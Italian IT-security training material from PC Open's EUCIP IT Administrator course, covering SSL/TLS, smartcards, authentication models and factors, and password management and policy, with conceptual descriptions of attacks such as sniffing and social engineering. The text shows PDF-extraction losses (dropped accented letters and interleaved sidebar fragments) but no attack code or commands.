Il server dimostra la propria identit inviando al client il
suo certificato digitale; tale scambio pu includere, in op-
zione, lintera catena di certificati fino al certificato root (ra-
dice) della Certification Authority (CA). Se richiesto dal me-
todo di scambio chiavi adottato, il server invia al client un
messaggio di scambio chiavi contenente materiale per la
generazione della chiave simmetrica.
Il server pu quindi iniziare a richiedere lautenticazio-
ne del client con un certificato, ma nella maggior parte dei
casi ci non accade.
Il client verifica il certificato o i certificati del server in
base alle date di validit e controlla la presenza della firma
di una CA fidata.
Il client invia un messaggio di scambio chiavi il cui con-
tenuto dipende dallalgoritmo usato.
Il server verifica il certificato del client, se presente.
Il client e il server generano la chiave di sessione utiliz-
zando i dati che si sono scambiati nei messaggi preceden-
ti.
Il secondo componente di SSL il Record Protocol, usa-
to per lo scambio di dati tra le applicazioni dopo aver crea-
to il canale sicuro di comunicazione. I messaggi sono fram-
mentati in blocchi facili da gestire e opzionalmente vengo-
no compressi; si applica un MAC (codice di autenticazione
del messaggio) e il risultato viene cifrato e trasmesso. Il ri-
cevente decifra i dati, verifica il MAC, decomprime e rias-
sembla il messaggio e fornisce il risultato al protocollo ap-
plicativo.
www.pcopen.it 44
5.2.7.8 Conoscere i
principi di
funzionamento di
SSL
Il terzo componente, lAlert Protocol, usato per indi-
care il verificarsi di un errore o la terminazione di una ses-
sione tra due host.
Luso di SSL richiede un server con capacit SSL; i brow-
ser includono generalmente il supporto SSL 2.0 e 3.0. In pre-
cedenza abbiamo messo a confronto la protezione a livel-
lo di collegamento con la protezione (superiore) a livello di
applicazione. SSL, collocato allo strato di trasporto (dove
opera il protocollo di rete TCP, per intenderci), fornisce la
sicurezza della connessione, ma non la sicurezza dei dati
una volta ricevuti e decifrati. Lutente di una connessione
SSL pu contare su una comunicazione protetta, ma deve
avere fiducia nellistituzione a cui trasmette i dati per la si-
curezza con cui essi saranno trattati e conservati.
Una variante rispetto allSSL versione 3 di uso corrente
il protocollo TLS (Transport Layer Security) definito dal-
lIETF nella RFC 2246, simile a SSL, ma con differenze so-
prattutto negli algoritmi crittografici utilizzati. TLS gi im-
plementato e si pu prevedere una sua graduale adozione.
Uso delle smartcard
Le smartcard, piccole schede di plastica che includono
capacit logiche e memoria, sono utilizzate per memoriz-
zare in modo sicuro le chiavi private usate per la firma di-
gitale e per la decifratura. In tal modo si evita di conser-
varle o dimenticarle sul computer, ossia in un ambiente po-
co sicuro.
In sintesi, una smartcard oggi costituita da un micro-
processore dotato di una certa quantit di RAM e da una
memoria EEPROM (Electrically Erasable Programmable
Read-Only Memory) che alloggia il software di gestione e le
chiavi e il cui contenuto non si cancella col tempo, ma pu
essere modificato mediante apposite apparecchiature. La
smartcard dialoga con il mondo esterno attraverso unin-
terfaccia seriale (secondo la disposizione a otto contatti
dello standard ISO7816 Part 1) o senza contatti, mediante
uninterfaccia radio.
Il programma residente sulla scheda riconosce i co-
mandi che arrivano dallesterno e risponde di conseguen-
za. Fondamentalmente, i comandi inviati a una smartcard
sono del tipo seguente:
1) richiesta di generazione di chiavi
2) richiesta della chiave pubblica
3) richiesta di cifrare un blocco di dati con la chiave privata
4) richiesta di memorizzazione del certificato della CA che
ha emesso il certificato dellutente in base alla chiave
pubblica estratta dalla smartcard.
Una trattazione dettagliata pu essere trovata su Smart
Card Handbook, Secon Edition di Rankl ed Effing.
Le smartcard possono generare, su richiesta, coppie di
chiavi (pubblica e privata); non c modo di estrarre la
chiave privata dalla scheda, mentre la chiave pubblica di-
sponibile per luso nei sistemi PKI. La custodia sicura del-
la chiave privata permette di usare le smartcard per firme
digitali con validit legale e garanzia di non ripudio.
A causa della capacit limitata del processore e della
memoria di una smartcard, le operazioni di generazione di
chiavi e di cifratura sono piuttosto lente, ma ci non gra-
ve se si considera che le chiavi sono generate non pi di
una volta lanno e che le operazioni avvengono su hash di
lunghezza ridotta.
Laccesso alle smartcard (come ad altri dispositivi crit-
tografici) avviene mediante unAPI (interfaccia program-
matica) definita dallo standard PKCS #11 (Cryptographic
Token Interface Standard, detto Cryptoki). Linterfaccia
standard permette di sviluppare software indipendente
dalla smartcard utilizzata.
Un esempio di smartcard ad uso dei cittadini la carta
dei servizi della Regione Lombardia (vedi www.crs.lom-
bardia.it/).
www.pcopen.it 45
5.2.7.9 Essere
consapevoli delluso
delle smartcard
PC Open www.pcopen.it 46
I
n termini molto generali, lautenticazione pu essere de-
finita come il processo mediante il quale si verifica un de-
terminato parametro. Il parametro pu riguardare gli ar-
gomenti pi svariati, come lidentit di un processo o di un
utente o di un computer, oppure lidentit e lintegrit di un
pacchetto in rete.
Una definizione pi focalizzata vede lautenticazione co-
me il processo tramite il quale viene stabilita lidentit di
unentit. Nel campo della sicurezza informatica, lentit
tipicamente un computer, un processo, un utente o un mes-
saggio.
La legge italiana considera autenticata lidentit di una
persona solo se c un pubblico ufficiale che lo attesti e ri-
corre a complesse perifrasi per definire la conferma di iden-
tit ottenuta mediante mezzi informatici. Per semplicit,
continueremo a usare il termine autenticazione come equi-
valente dellinglese authentication di uso generale, consa-
pevoli del fatto che, quando si passa dal contesto tecnico
a quello giuridico (per esempio riguardo la validit delle fir-
me digitali), bisogna fare riferimento al linguaggio e alle di-
sposizioni dei recenti articoli di legge. Sebbene la legge pos-
sa risultare complessa, farraginosa e criticabile dagli am-
bienti informatici, resta il fatto che nessun computer,
software o utente pu confermare con certezza lidentit di
un utente; si possono solo eseguire test che, quando supe-
rati, forniscono una garanzia sufficiente sullidentit del-
linterlocutore. Il problema sta nellaggettivo sufficiente,
che muta significato nel tempo con levolversi delle tecno-
logie di attacco e di difesa e che dipende da ipotesi, spes-
so disattese, sul comportamento degli utenti e sulla validit
degli strumenti tecnici. Di fronte alle possibilit di falsifi-
cazione e soprattutto alla possibile trascuratezza o incom-
petenza degli utenti, i test di autenticazione assumono un
valore relativo.
Allatto dellautenticazione, lentit che chiede di essere
autenticata presenta alcune credenziali, come una pas-
sword o un certificato digitale, come prova della propria
Administrator Sicurezza
Informatica, valida in tutta Europa. In questo numero ci
occupiamo di tutti i sistemi di riconoscimento e autenticazione,
dalla password, alle smartcard con un esame approfondito anche
dellautenticazione via rete.
I contenuti sono composti da tre
elementi: un articolo sulla
rivista, un articolo, molto pi
su CD e DVD di Giorgio Gobbi e Marco Mussini
Materiale didattico
validato da AICA
IT Administrator
Modulo 5 -
IT Security
"AICA Licenziataria
programma EUCIP
of Informatic
validato copre
puntualmente e
integralmente gli
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
del marchio EUCIP,
vigenti"
2.0 (curriculum
ufficiale AICA)
5.3.1. Concetti
generali
dellautenticazione.
applicazioni
In collaborazione
con:
Autenticazione e controllo degli accessi
Prevenire i furti
e gli accessi
non autorizzati
identit. Se le credenziali sono valide e sufficienti, lentit
ritenuta autentica. Lautenticazione verifica solo che unen-
tit sia quella che dichiara di essere, senza entrare nel me-
rito dellaccesso al sistema.
Una volta che un utente (in senso lato) stato autenti-
cato, il passo successivo assicurare che possa accedere
solo alle risorse per cui autorizzato. Ci avviene imple-
mentando controlli di accesso, permessi, privilegi e altri
elementi, secondo il sistema in questione. Lautorizzazione
viene talvolta confusa con lautenticazione nei documenti
tecnici e normativi, ma un concetto ben distinto: auto-
rizzazione il diritto accordato a un individuo (oppure en-
tit hardware/software) di accedere a un sistema e alle sue
risorse secondo un profilo di permessi ben definito (defi-
nito ad esempio da un system administrator o stabilito au-
tomaticamente dalla categoria di autorizzazione delluten-
te).
Unanalogia per un processo di autenticazione informa-
tico il controllo del passaporto a una frontiera. Il viaggia-
tore fornisce alla guardia di frontiera il proprio passaporto
con la foto, le generalit e informazioni sullente che ha ri-
lasciato il documento. La guardia osserva se il passaporto
appare autentico, se la foto somigliante e magari se ha un
numero identificativo valido, verificato tramite accesso a
un database. Latto di convalidare il passaporto e di valu-
tare la somiglianza tra il viaggiatore e la foto una forma di
autenticazione.
Il successo dellautenticazione non implica che al viag-
giatore sia concesso di varcare la frontiera, come pure nel
caso dellaccesso a un sistema. La persona pu essere pri-
va di visto o di qualche altro requisito o risultare indesi-
derata o pericolosa per i suoi trascorsi, attivit o connes-
sioni. Allo stesso modo unentit informatica potrebbe es-
sere autenticata e, una volta riconosciuta, potrebbe risul-
tare priva di autorizzazioni.
Su una rete (e specialmente Internet), lautenticazione
pi complessa sia perch eseguita da macchine sia perch
le entit autenticatrici della rete di solito non hanno ac-
cesso fisico alle entit da autenticare. Programmi o utenti
ostili possono tentare di rubare informazioni, crearne di fal-
se, interrompere o alterare un servizio fingendosi entit va-
lide. Il ruolo dei processi di autenticazione quello di di-
stinguere le entit valide da quelle non valide ed un com-
pito essenziale per la sicurezza di una rete e dei sistemi che
vi sono connessi. Se un individuo riesce a impersonare un
utente valido, non ci sono limiti al danno potenziale per la
riservatezza e integrit delle informazioni, oltre ai danni
economici che ne possono derivare. Vedremo che in qual-
che caso pu essere persino compromessa la futura capa-
cit di autenticazione degli utenti.
Oggi esiste una vasta schiera di metodi di autenticazio-
ne, che comprende luso di password, di certificati digita-
li, di dispositivi biometrici e di oggetti fisici come token
(gettoni, ovvero schede o chiavi di vario tipo) e Smart
Card contenenti ad esempio un certificato. Nessuno di es-
si perfetto. Le password, da tempo considerate insicure,
sono destinate a essere rimpiazzate da metodi pi efficaci.
Persino metodi apprezzati o promettenti come le Smart
Card e i dispositivi biometrici pongono seri problemi: le
Smart Card per le difficolt di adozione generalizzata data
la variet di soluzioni sul mercato (senza contare i costi),
il secondo perch relativamente facile procurarsi i dati
biometrici di un individuo (a sua insaputa) compromet-
tendone lautenticazione per tutta la vita.
Oltre agli schemi consolidati di autenticazione che ve-
dremo nei prossimi capitoli, inevitabile che ne nascano di
nuovi, favoriti anche dallevoluzione delle tecnologie mo-
bili. Oggi, ad esempio, esistono PDA dotati di funzioni crit-
tografiche e di capacit biometriche, come il riconosci-
mento dellimpronta digitale, della firma e della voce, che
li rendono idonei a impieghi di autenticazione riducendo i
rischi di furto di identit. Infatti, nel caso di furto, il PDA,
protetto da crittografia forte, pu resistere per un buon
tempo.
Modelli di architettura
I modelli a cui si fa riferimento per progettare un siste-
ma di autenticazione dipendono dal tipo di utenti, dalla di-
stribuzione fisica delle risorse, dal valore delle informazio-
ni da proteggere e da altri fattori. In sintesi, i modelli fon-
damentali sono quattro.
1) Autenticazione locale: quella utilizzata su un computer
desktop o portatile. Lintero sistema, inclusi i meccani-
smi di autenticazione e controllo degli accessi, risiede al-
linterno di un singolo perimetro di sicurezza. Lutente
definisce e tiene aggiornate le informazioni di autentica-
zione allinterno di tale perimetro.
2) Autenticazione diretta: stata usata in passato dai ser-
ver delle reti locali e dai sistemi di timesharing (utilizzo
contemporaneo di un computer da parte di pi utenti
che si ripartiscono il tempo di elaborazione dello stes-
so). Il sistema usato da molti utenti, anche remoti. Au-
tenticazione e controllo degli accessi risiedono in un
singolo perimetro fisico. E un modello diretto perch
centralizzato: un sistema prende tutte le decisioni e
contiene il database con le informazioni sugli utenti.
Ogni sistema di questo genere amministrato e aggior-
nato indipendentemente, quindi il modello diretto si pre-
sta per un singolo sistema o per un gruppo di sistemi
con popolazioni di utenti indipendenti. La vulnerabilit
a intercettazioni e replay di messaggi impone luso di
crittografia, almeno per le password.
3) Autenticazione indiretta: usata nei moderni sistemi di-
stribuiti per consentire a una popolazione di utenti di ac-
cedere a pi sistemi e punti di servizio in rete. Quando
un sistema riceve una richiesta di accesso, la inoltra a un
server di autenticazione centralizzato che esamina le
credenziali fornite e conferma lidentit dellutente. A ta-
le scopo vengono usati protocolli come RADIUS e Ker-
beros o i domini dei server Windows. Il server di auten-
ticazione gestisce un unico database, facilmente ammi-
nistrabile, con le informazioni sugli utenti, che possono
accedere in modo uniforme a tutti i punti di servizio
ospitati dai sistemi sulla rete.
4) Autenticazione off-line: quella utilizzata nei sistemi che
sfruttano linfrastruttura a chiave pubblica (PKI). In
questa architettura, diversi componenti autonomi pren-
dono decisioni sullautenticazione degli utenti anche se
Autenticazione locale
avviene direttamente sul
computer usato
dallutente e si svolge
entro un perimetro di
sicurezza circoscritto.
in tale momento non possono contattarsi lun laltro. Le
parti interessate accettano il rischio che talvolta le de-
cisioni siano basate su informazioni di autenticazione
non aggiornate, che possono determinare risultati scor-
retti. Il modello indiretto una combinazione dei tre pre-
cedenti: lautenticazione e il controllo degli accessi ri-
siedono sullo stesso dispositivo, mentre il titolare della
sicurezza (lautorit di certificazione che gestisce le chia-
vi pubbliche) mantiene un database centralizzato degli
utenti autorizzati. Laspetto peculiare che non occorre
che la CA sia online, e questultima pu anche distribui-
re le chiavi pubbliche attraverso mezzi tradizionali e
proteggere in tal modo i propri sistemi da intrusioni. Per
esempio, il protocollo SSL incorporato in un browser si
procura il certificato con la chiave pubblica dal server
da autenticare (per esempio il sito di una banca), lo au-
tentica con unaltra chiave pubblica prestabilita (nota al
browser) e quindi utilizza la chiave pubblica del server
nella fase di scambio dati per la costruzione di una chia-
ve di sessione con cui cifrare le comunicazioni.
I diversi schemi di autenticazione
Indipendentemente dai metodi usati, i sistemi di auten-
ticazione hanno generalmente alcuni elementi comuni:
una persona o entit da autenticare, una o pi caratteristi-
che distintive su cui si basa lautenticazione, un proprieta-
rio o amministratore del sistema di sicurezza e un mecca-
nismo di autenticazione che verifica le caratteristiche di-
stintive. Il meccanismo di controllo dellaccesso, spesso
considerato parte integrante del sistema di autenticazione,
in realt una funzione successiva, invocata se lautenti-
cazione ha avuto successo.
Per esempio, nel caso del Bancomat, lelemento da au-
tenticare una persona, le caratteristiche distintive sono
due (la scheda e il PIN), il proprietario la banca e il mec-
canismo di autenticazione il software di validazione del-
le informazioni fornite dalla scheda (registrate su una ban-
da magnetica o nella memoria di un chip) e del PIN digita-
to dallutente. Se lautenticazione ha successo e lutente ha
il credito necessario, il meccanismo di controllo dellac-
cesso autorizza il prelievo della somma richiesta.
Un altro esempio quello di un sito di e-commerce; len-
tit da autenticare (verso il client che si collega al sito) il
proprietario del sito, la caratteristica distintiva una chia-
ve pubblica in un certificato digitale, lamministratore e ga-
rante della sicurezza lautorit certificatrice che ha emes-
so il certificato, il meccanismo di autenticazione il softwa-
re di convalida del certificato contenuto nel browser del-
lutente, che determina se la pagina web sicura. Tale sche-
ma riscontrabile nel protocollo SSL (Secure Sockets
Layer) presentato nel capitolo 5.2.7.8 della sezione Critto-
grafia.
Nella letteratura frequente trovare i fattori di autenti-
cazione di un utente suddivisi in tre categorie:
- qualcosa che sai (come password, passphrase, PIN o com-
binazione)
- qualcosa che hai (come token, Smart Card o dati incor-
porati in un file o dispositivo)
- qualcosa che sei (caratteristiche biometriche come im-
pronta digitale, retina, iride, volto, voce).
La paternit di questo schema attribuita a Carlton e
agli altri autori dellarticolo del 1988 Alternate Authenti-
cation Mechanisms. Lappeal mnemonico di qualcosa che
sai, qualcosa che hai, qualcosa che sei ha fatto in modo
che questa sorta di filastrocca mettesse stabili radici. Fac-
ciamo notare in ogni caso la forzatura in cui sincorre se si
prende alla lettera la terza categoria, visto che tra un indi-
viduo e una caratteristica del proprio corpo corre una di-
stanza pressoch incolmabile. Trascurare tale aspetto por-
terebbe a situazioni paradossali, dove si rischierebbe di au-
tenticare corpi (non necessariamente vivi) o loro parti an-
zich individui. Sebbene la terza categoria rientri in realt
nella seconda (un individuo possiede un corpo che ha ca-
ratteristiche biometriche), per non allontanarci troppo dal-
la convenzione ci limiteremo a correggere la formulazione
in qualcosa che sei.
Qualcosa che sai
uno dei metodi di autenticazione pi antichi, utilizza-
to per esempio in passato per bloccare gli stranieri che non
conoscevano la parola dordine o la pronunciavano male.
Oltre a parole (password) e frasi (passphrase), gli elemen-
ti di autenticazione di questa categoria includono i PIN, le
combinazioni da digitare su una tastiera numerica (lequi-
valente della combinazione numerica di un lucchetto o cas-
saforte) e le informazioni note soltanto allindividuo, da
usare in risposta a specifiche domande personali. Lauten-
ticazione tramite un dato segreto in possesso dellutente
vulnerabile sia per motivi tecnici sia per i comportamenti
insicuri degli utenti; sebbene ancora ampiamente usata,
tende a essere sostituita da metodi pi sicuri e da combi-
nazioni di pi fattori (come scheda pi PIN). Il grado di si-
curezza peggiora rapidamente quando un utente, per ri-
cordare tutte le password di accesso a banche, siti e servi-
zi, le scrive su carta o le conserva in un file non cifrato.
Qualcosa che hai
Anche gli oggetti sono stati usati nel passato a scopo di
autenticazione; sigilli di ceralacca, chiavi e documenti fir-
mati erano alcuni degli strumenti utilizzati per farsi rico-
noscere o per avere accesso a luoghi e risorse. Il termine
chiave in informatica deriva in effetti dalle chiavi di ca-
sa, anche se lanalogia si ferma qui perch, a differenza di
una chiave informatica, la chiave di casa non identifica il
possessore come il padrone di casa o come qualcuno che
abbia diritto a entrarvi. Oggi loggetto in possesso dellu-
tente e usato come caratteristica distintiva per lautenti-
cazione pu essere semplicemente un file di dati. Se lu-
tente una persona (piuttosto che un processo o un di-
spositivo hardware) il file generalmente incorporato in un
dispositivo che lutente pu portare con s, come una sche-
da con striscia magnetica, una Smart Card o un calcolato-
re di password. Tali oggetti vengono anche chiamati token.
Lautenticazione tramite token la pi difficile da viola-
re, dato che si basa su un oggetto fisico che lutente deve
avere con s al momento dellautenticazione e dellacces-
so al sistema. A differenza delle password e strumenti si-
mili, nel caso di un token lutente sa se gli stato rubato ed
difficile che possa condividerlo con altri riuscendo an-
cora a collegarsi a un sistema. Un token costa di pi, pu
essere smarrito e si pu guastare, ma soddisfa le esigenze
di sicurezza di un ampio spettro di applicazioni.
Qualcosa che sei
Tale categoria di fattori di autenticazione si basa su ca-
ratteristiche del corpo umano e, secondariamente, anche
su comportamenti unici della persona. Prima dei computer,
5.3.1.1 Conoscere
differenti schemi di
autenticazione.
La lettura della retina o
delliride costituisce uno
dei tipi di autenticazione
biometrica.
queste caratteristiche includevano un ritratto, la firma, una
descrizione scritta e le impronte digitali. Oggi i computer
permettono di confrontare rapidamente un attributo fisico
con una registrazione archiviata in un database. Le tecni-
che comprendono le impronte digitali, la forma e limpron-
ta delle mani, le caratteristiche dellocchio (iride e retina),
la voce, la firma autografa e altre possibilit. Nel comples-
so, tali caratteristiche sono chiamate biometriche.
Nonostante i vantaggi dellautenticazione biometrica,
che non richiede dati segreti o schede da portare con s, i
punti deboli possono superare i benefici. Oltre ai costi mag-
giori per lacquisto, linstallazione e la gestione dellattrez-
zatura, i dati biometrici possono essere intercettati, liden-
tificazione non certa (c una percentuale di falsi postivi
e di falsi negativi), le caratteristiche biometriche possono
variare nel tempo e soprattutto, facile procurarsi i dati
biometrici di un individuo e comprometterne lautentica-
zione per tutta la vita.
facile capire che non esiste, almeno per ora, un meto-
do di autenticazione perfetto. La scelta dipende dai rischi
specifici per le diverse circostanze, dai costi e da altri fat-
tori, come la disponibilit e lutilizzabilit degli strumenti,
ladozione di standard e altro ancora. Visto che tutti i me-
todi presentano inconvenienti e spesso non offrono il li-
vello di protezione richiesto, sempre pi comune utiliz-
zare meccanismi di protezione multipli, che incorporano
due o tre dei fattori citati. Tali sistemi offrono la cosiddet-
ta autenticazione forte, perch, usando pi fattori, ciascu-
no di essi contribuisce a neutralizzare i punti deboli degli
altri.
Tuttavia quando si passa dallautenticazione di un uten-
te presso un sistema locale allautenticazione in rete, le co-
se si complicano. Le tre categorie di fattori di autentica-
zione si basano su caratteristiche distintive della persona
o entit, ma quando tali caratteristiche si traducono in se-
quenze di bit che attraversano la rete, nessun meccanismo
pu fornire la certezza assoluta che una password o una
lettura biometrica siano raccolte dalla persona anzich re-
gistrate e ritrasmesse da altri. Perci, insieme ai fattori di
autenticazione forniti dagli utenti, sono necessarie tecni-
che che identifichino univocamente i messaggi scambiati e
impediscano agli estranei dinserirsi nel dialogo.
Password
Gestione delle password
Luso delle password uno dei pi antichi sistemi di au-
tenticazione, che gi ritroviamo nellApriti sesamo di Al
Bab e i 40 ladroni. Qualche decennio fa, quando la mul-
tiutenza consisteva di terminali connessi a un sistema cen-
trale di timesharing e gli utenti cominciavano a essere ubi-
cati allesterno del centro di calcolo (ben protetto), le pas-
sword erano lo strumento di autenticazione. Il terminale, di
tipo telescrivente con stampa sul rullo di carta, dopo lin-
put della password (anchessa stampata), sovrastampava
caratteri casuali per impedirne la lettura a estranei.
Negli anni successivi abbiamo visto i sistemi operativi
conservare le password in chiaro in un file. Nella corsa tra
attacchi e difese, il file delle password in chiaro ebbe bre-
ve vita, vista la facilit di impossessarsene sia dal sistema
online sia dai nastri di backup periodico dello stesso.
A partire dal 1967 cominci a essere introdotto lhashing
delle password, che viene tuttora utilizzato. Il sistema con-
serva un file con i nomi degli utenti e lhash delle relative
password. Allatto dellautenticazione, lhash calcolato in
base alla password digitata viene confrontato con quello re-
gistrato nel file; se coincidono, lutente autenticato. Dato
che dallhash impossibile ricostruire la password, il si-
stema relativamente sicuro, a meno di attacchi di forza
bruta o basati su dizionari delle parole pi usate.
Lhash delle password venne aggirato dai programmi di
keystroke sniffing, ossia di registrazione dellinput di ta-
stiera (i tasti battuti dallutente). Si tratta di un attacco tut-
tora possibile e praticato con una variet di mezzi hardwa-
re e software. Un modo per neutralizzare il keystroke snif-
fing stato la protezione delle aree di memoria, affinch un
programma non possa curiosare nella memoria di un altro
programma. E una protezione parziale che comunque
non sconfigge i dispositivi hardware di registrazione collo-
cati tra la tastiera e il connettore sul computer.
Levoluzione degli attacchi ha portato al network snif-
fing, vale a dire allanalisi del traffico di rete per carpire pas-
sword, chiavi di cifratura e altre informazioni. A questo si
risposto con le password usate una volta sola, ossia ge-
nerate nel momento stesso in cui devono essere utilizzate
e quindi eliminate, e con la periodica variazione delle chia-
vi fisse, in modo da limitare le possibilit che vengano sco-
perte. Vi presentiamo un quadro fin troppo semplificato e
approssimativo, ma rappresenta la dinamica con cui evol-
ve la competizione tra attacchi e difese.
Oltre a carpire password e altre informazioni per via tec-
nologica, un metodo usato per conquistare laccesso a un
sistema il social engineering: lattaccante si fa aiutare da
un dipendente, inconsapevole, convincendolo a rivelare le
informazioni (come nome utente e password) necessarie a
entrare nel sistema. Uno dei modi pi usati consiste nel pre-
sentarsi come un tecnico di assistenza, che per esempio ha
urgente bisogno del nome utente e della password del mal-
capitato interlocutore allo scopo dichiarato di evitargli la
perdita dei dati. Lattaccante pu anche ordinare, con una
falsa e-mail apparentemente inviata dal system admini-
strator, di cambiare provvisoriamente la password, come
specificato, per lavori di manutenzione.
Un esempio di procedura di login tramite password ap-
pare in Unix, che ha iniziato a utilizzare lhashing delle pas-
sword intorno al 1973 e si evoluto utilizzando algoritmi di
hashing pi sicuri. Il file delle password nel classico Unix
Versione 7 comprendeva questi campi: nome utente, hash
della password preceduto da un valore casuale di 12 bit
detto salt (sale), User ID numerico, Group ID numerico,
un campo di uso misto detto GCOS field (dal nome di un si-
stema operativo utilizzato a quel tempo dai Bell labs) e il
nome dello shell preferito dallutente (per esempio
/bin/csh).
Quando un utente digita un nome utente, il programma
di login cerca il nome nel file delle password (/etc/passwd)
e, se lo trova, estrae lhash della password; il programma
chiede la password allutente e ne calcola lhash; se i due
codici di hash coincidono, lutente autenticato e si colle-
ga al sistema.
La seconda versione di hashing delle password di Unix
utilizza una variante di DES, il cifrario simmetrico presen-
tato nella sezione sulla crittografia. Lhashing realizzato
cifrando una stringa di zeri, usando come chiave di cifra-
Luso delle password
uno dei pi antichi
sistemi di autenticazione.
5.3.2. Password
5.3.2.1 Conoscere i
principi di creazione
e amministrazione
delle password.
tura la password e usando il salt di 12 bit al fine di permu-
tare una tabella interna dellalgoritmo DES. In tal modo la ci-
fratura risulta incompatibile con lo standard DES, compli-
cando eventuali tentativi di attacco.
Policy aziendali, raccomandazioni ai clienti e articoli sui
media riportano spesso i criteri con cui dovrebbero esse-
re scelte le password, almeno nei casi in cui esse vengano
stabilite dagli utenti. In altri casi le password sono genera-
te in modo casuale e risultano abbastanza complesse da es-
sere difficili da indovinare. Alcuni criteri di base per sce-
gliere una password sono i seguenti:
1) lunghezza: pi la password lunga, pi difficile da sco-
prire: la lunghezza minima di sei caratteri o pi, se-
condo le dimensioni del set di caratteri;
2) caratteri: idealmente una password dovrebbe contenere
minuscole, maiuscole, cifre e altri segni, in modo da au-
mentare il numero di combinazioni (a parit di lunghez-
za) e di eludere gli attacchi tramite dizionario;
3) contenuto: dovrebbero essere esclusi nomi di persone,
luoghi, aziende, animali, prodotti, targhe automobilisti-
che, date, parole del dizionario e altri nomi o simboli ri-
conducibili allutente;
4) assegnazione: per diversi prodotti hardware e software
non obbligatorio specificare nome utente e password:
il primo passo consiste quindi nellassegnare tali valori
(che questo sia ancora un problema testimoniato dal
fatto che, nel 2004, il 70% delle reti wireless sia stato in-
stallato senza alcuna protezione);
5) periodo di validit: pi frequente la modifica della pas-
sword, minore la probabilit di scoperta;
6) cambiamento: ogni password assegnata o scelta da un
utente dovrebbe essere nuova e differente;
7) valore di default: molti dispositivi sono posti in com-
mercio con nome utente e password impostati di default,
da modificare allatto dellinstallazione;
8) se una password devessere annotata o registrata, va
conservata al sicuro (in cassaforte, cifrata adeguata-
mente);
9) memorizzazione: in teoria una password dovrebbe es-
sere lunga, complicata e memorizzata dallutente senza
che ne esista alcuna traccia scritta o registrata, ma una
password troppo lunga e complicata meno sicura per-
ch induce lutente a scriverla su foglietti facilmente ac-
cessibili; unalternativa a password complicate consiste
nellimpiego di password mnemoniche molto lunghe e di
passphrase (insieme di parole brevi utilizzate come sin-
gola password), che sono una buona protezione anche
se contengono parole di soli caratteri.
In base a ricerche statistiche condotte nel 1990, Daniel
Klein arriv alla conclusione che un sistema dovrebbe ri-
fiutare password che abbiano anche una sola delle seguenti
caratteristiche:
1) pi corta di sei caratteri,
2) contenente il nome dellutente o una sua parte o le ini-
ziali (anche al contrario),
3) coincidente con una parola del dizionario, una parola
con parte delle lettere in maiuscolo, una parola scritta al
contrario (magari parte in maiuscolo), una parola con qual-
che lettera sostituita da un carattere di controllo o da una
cifra di ovvio significato (come 1 per I o $ per S),
4) coniugazione di una parola del dizionario,
5) tutta in minuscolo o maiuscolo,
6) non contenente un mix di caratteri, cifre e punteggiatu-
ra,
7) corrispondente a un gruppo di caratteri della tastiera
(come qwerty),
8) contenente solo cifre, una data o qualcosa di simile a una
targa automobilistica.
La tendenza degli utenti a usare nomi e parole facili da
ricordare riduce drammaticamente lo spazio delle pas-
sword definibili con un certo numero di caratteri, spianan-
do la strada agli attacchi tramite dizionario che sono stati
usati nel corso degli anni (a partire dallInternet worm che
nel 1988 penetr il 5% di Internet). Per esempio, si pu cal-
colare che una password di 10 caratteri (solitamente 80
bit), contenente solo parole della lingua inglese, equivale
per efficacia a una password di soli 16 bit in cui vengano uti-
lizzate tutte le combinazioni possibili. A maggior ragione
non si dovrebbero usare password numeriche rappresen-
tanti date (facili da ricordare e da scoprire). In particolare,
i PIN di quattro cifre (che proteggono ad esempio le Smart
Card) dovrebbero essere casuali e non riconducibili a da-
te oppure ad altri valori particolari.
In realt, i PIN non soddisfano n la prima, n l'ultima
delle condizioni e sarebbero una pessima scelta se non
avessero l'abbinamento dei dati del token e anche in tal mo-
do aggiungono una sicurezza molto limitata all'uso dei
token (come dimostrato dalla facilit di duplicazione dei
Bancomat).
Oltre a definire ed applicare una serie di criteri tecnici e
amministrativi per definire le password, unazienda do-
vrebbe stabilire una policy di sicurezza sulla riservatezza
delle password, in modo che in nessun caso esse vengano
rivelate a chicchessia. In determinate circostanze, pu es-
sere rischioso che ci sia un amministratore che possiede
tutte le password; quando la sicurezza lo richieda, si pu
stabilire una divisione di compiti e di accesso alle infor-
mazioni che eviti leccessiva concentrazione di poteri e di
controllo.
Anche lassunzione di un dipendente (oppure linizio
della collaborazione di un consulente) e la cessazione del
rapporto di lavoro o di consulenza rappresentano momenti
di assegnazione e di revoca delle password, da trattare se-
condo policy ben definite. In particolare, alla cessazione, le
utenze e le autorizzazioni devono essere immediatamente
revocate, per impedire accessi non autorizzati alle risorse,
remoti o di altro genere.
Se provate a visitare diverse aziende, sia ad alta tecno-
logia sia a bassa tecnologia, probabilmente scoprirete, sot-
to il tappetino del mouse dei vari posti di lavoro, un di-
screto numero di password. Bench possano essere na-
scoste anche nel cassetto, sotto il tavolo, sotto la tastiera
e via dicendo, il mouse pad la metafora di uno zerbino ed
facile che qualcuno vi nasconda la password cos come
nasconde la chiave sotto lo zerbino di casa. Lispezione dei
mouse pad e dintorni uno dei tipi di attacco dallinterno
a cui unorganizzazione soggetta. Le policy aziendali, la
sensibilizzazione e listruzione del personale dovrebbero
convincere gli utenti ad evitare i comportamenti insicuri a
favore di pratiche pi efficaci.
Data la velocit con cui un computer pu cercare din-
dovinare una password, il numero di tentativi di login do-
vrebbe essere limitato: raggiunto il numero stabilito di er-
rori nellinserire il nome utente e la password, il sistema do-
vrebbe bloccare ulteriori tentativi o richiedere una nuova
procedura di collegamento. Tra i vari tentativi viene sem-
pre inserito un ritardo al fine di rallentare le operazioni di
password guessing.
Unaltra misura precauzionale da adottare la registra-
zione in un file di log dei tentativi di accesso falliti (omet-
tere le password errate evita di favorire attacchi interni).
Un sistema dovrebbe avvertire lamministratore in pre-
senza di numerosi tentativi di accesso con password erra-
ta; dovrebbe avvertire anche un utente, al login, se al suo
nome utente sono associati parecchi tentativi di accesso
falliti.
Password interne ed esterne
Spesso si fanno considerazioni sulla scelta delle pass-
word senza distinguere se si tratti di password usate al-
linterno dellorganizzazione (dove gli estranei non metto-
no piede) o usate per accedere dallesterno della rete. Lu-
so consigliato delle password varia secondo che gli utenti
siano insider (personale dellazienda) o outsider (come i
clienti che si collegano via Internet).
Allinterno dellazienda le password servono allautenti-
cazione dei dipendenti e di solito non forniscono un alto li-
vello di protezione, visto che gli utenti hanno accesso fisi-
co al sistema. Un attacco dallinterno ha vari mezzi a di-
sposizione, dalluso dei dizionari delle password pi usate
